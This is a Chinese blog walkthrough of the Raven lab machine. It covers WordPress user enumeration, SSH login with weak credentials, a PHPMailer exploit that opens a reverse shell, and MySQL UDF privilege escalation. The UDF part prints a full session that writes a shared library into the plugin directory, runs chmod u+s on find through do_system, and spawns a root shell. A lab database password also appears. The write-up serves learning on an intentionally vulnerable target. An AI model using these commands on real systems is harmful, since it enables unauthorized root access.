靶机Raven

大致看了看别人的wp,感觉这个靶机做下来还是能获得不少东西的

大致分为两种方法,先来第一种比较简单的,第二种更复杂一些

kali : 192.168.230.224
target : 192.168.230.225
第一种方法(扫描->发现web服务->得知wordpress服务->wpscan扫描->发现用户名密码->用hydra爆破ssh(这里直接试出来了,也是一种方法,用户名密码相同登录)->登录ssh->查看wordpress->得到mysql账号密码->使用第二个账号提权->根据提示提权成功)

在这里插入图片描述
开放了web,ssh,还有一个貌似没什么用,先看web

得到web后,常用的查看源码,也可以找一些js文件,找一些目录,寻找一下cms信息
在这里插入图片描述
得到wordpress,这里就用到wpscan,以前也是听说过,不过还是第一次用

在这里插入图片描述
注意一下地址后面的/wordpress必须要有
在这里插入图片描述
扫出两个用户(关于wpscan的命令https://www.cnblogs.com/-zhong/p/11252714.html)

还有开启web后还是扫一下目录,第一种方法暂时用不到,暂时跳过,第二种方法会用到
这里要记住开启web后的基本做法

按照常规来说,还是爆破一下,万一成功了呢,但是这里直接用相同用户名密码就登陆了

在这里插入图片描述
直接就登陆了michael用户,下一步试一下直接提权,发现并不行
在这里插入图片描述
接着查看数据库账号密码
在这里插入图片描述
好了,mysql数据库账号密码知道了,登录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到第二个用户的账号密码
在这里插入图片描述
输入刚才的账号密码,登录了

在这里插入图片描述
发现没有root权限,下面查看一下能执行哪些命令
在这里插入图片描述
发现Python不需要root权限就可以执行,那我们就可以直接利用Python来生成一个root shell了,输入id查看即可
在这里插入图片描述
成功提权得到flag

第二种方法

回到刚才的思路,查看目录
在这里插入图片描述
发现一个目录,访问一下
在这里插入图片描述
发现了一个目录遍历,可以看到安装了phpmailer,我们用msf的searchsploit模块扫一下(第一次接触msf的这个命令的使用,还是我见识的太少了)

附上searchsploit的使用https://www.freebuf.com/sectool/146106.html

在这里插入图片描述
可以看到都有对应版本,刚刚不是扫出来一个目录遍历吗,查看version
在这里插入图片描述
那么这里我们选用40974.py

接下来我们来查看一下这个文件的内容
在这里插入图片描述将py文件复制到根目录(注意这里的py文件路径,这里面还有很多类似的文件,都保存在/usr/share/目录下,记住)

也可以用exploit-db.com进行搜索exp(记住这个网站,里面有很多可利用的exp)

https://www.exploit-db.com/exploits/40974

![在这里插入图片描述](https://img-blog.csdnimg.cn/20191112002453690.png
编辑一下,在头文件加上这个东西,起注释作用
在这里插入图片描述
这里直接贴截图了,懒得自己写注释,那个target之所以有/contact.php是因为web页面的邮件发送页面存在phpmailer漏洞,我这里生成的是abc.php,监听4444端口
在这里插入图片描述
存在这个情况,只要pip install requests-toolbelt即可
在这里插入图片描述
监听端口,接下来访问contact.php页面

反弹shell过程昨天搞到凌晨两点,死活反弹不了,后来发现我的kali地址变了,因为这个流程我已经复现过一遍,所以还原快照了,结果kali地址就变了

在这里插入图片描述
成功反弹到shell(知道kali地址改变的那一时刻直接吐血)

下面生成一个python虚拟终端,一开始不太明白(虽然现在也不是很懂),就是知道要用一个交互式的shell,可能实现的功能更多一些,以后碰到更多的靶机在慢慢总结

在这里插入图片描述

既然是提权,就可以考虑一下linux的提权方式,这里先不总结,以后在慢慢总结,这次用到的是udf提权,首先获取数据库账号密码
在这里插入图片描述
R@v3nSecurity
这里看一下数据库版本信息,因为这里涉及到后面.so文件的导入位置

关于windows的udf提权条件

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。

在这里插入图片描述
查询到mysql udf提权exp编号为1518(记住吧)
在这里插入图片描述
将exp拷贝到web目录下,之所以这样做,是因为web目录可以被靶机访问到,因为我们要下载这个py文件到摆钟,还有一种方法就是直接在https://www.exploit-db.com/exploits/1518获取EXP
可以用命令wget https://www.exploit-db.com/exploits/1518
但是我个人还是比较倾向用工具上的exp的
(这里在真实的渗透环境中,可以把exp上传到自己服务器的web目录下,就能直接利用了)
也可以不用非得拷贝到web目录下,也可以是其他目录,但是靶机下载的时候就要配合端口了
在这里插入图片描述
可以看一下这条命令,得知 端口8000对应的根目录,也就是说也可以把exp文件上传到根目录,到时候访问http://ip:8000就可以了,但是我不知道怎样通过文件路径找端口,网上也没有什么资料,先记住这两个吧,一个是/var/www/html,一个是/root(命令!!!)

在这里插入图片描述
本来想到根目录里面下载的,发现权限不够,在这里面就可以,以后碰到再说

在这里插入图片描述
接下来就是编译.c文件,
可以看到生成了.o文件

.o,是目标文件,相当于windows中的.obj文件 
.so 为共享库,是shared object,用于动态连接的,相当于windows下的dll 
.a为静态库,是好多个.o合在一起,用于静态连接 

对.so不了解,但是对windows中的dll文件还是听说过的,和可执行文件有关系,是动态链接库的库文件

用我自己粗浅的理解 : .c(c/c++)看成源代码文件编译后,产生中简代码.o(.obj),目标文件是.so(.dll)
现在暂时理解这么多,以后慢慢了解,参考

https://www.cnblogs.com/liuzhenbo/p/11031052.html

现在目标就是产生.so,用命令
在这里插入图片描述
发现报错了,这里要先将.c文件编译成.so文件在下载

在这里插入图片描述
ok了具体参数的解释

https://blog.csdn.net/nicholas_duan/article/details/84397431

在这里插入图片描述
也可以用这条命令,第二种感觉难理解

在这里插入图片描述
在这里插入图片描述
第二次成功了,因为我把1518.so放到了根目录下,才发现上面我讲错了,好像根目录和web目录都能直接下载,先不改了,有待商榷

在这里插入图片描述
在这里插入图片描述
突然反应过来,只是一个权限问题,用命令解决了

下面正式开始提权过程,以前完全没接触过,就直接按教程来了

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.22 sec)

mysql> use wordpress
use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.43 sec)

mysql> insert into foo values(load_file('/var/www/html/1518.so'));
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.10 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.06 sec)

mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.10 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name      | ret | dl      | type     |
+-----------+-----+---------+----------+
| do_system |   2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.02 sec)
mysql> quit
quit
Bye
www-data@Raven:/var/www/html$ find / -exec 'whoami' \;
find / -exec 'whoami' \;
root
www-data@Raven:/var/www/html$ find / -exec '/bin/sh' \;
find / -exec '/bin/sh' \;
# whoami
whoami
root
# pwd
pwd
/var/www/html
# cd /root
cd /root
# ls

dumpfile通常用于读取二进制文件,不会造成损坏
create function do_system是我们添加的新的函数,用于执行系统命令
chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作,也就是说给find命令最高权限
find / -exec ‘/bin/sh’ ;最终提权,赋予根目录下最高权限
关于udf提权原理

https://blog.csdn.net/weixin_33774308/article/details/94563406

做完这套靶机收获很大,学了不少东西

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值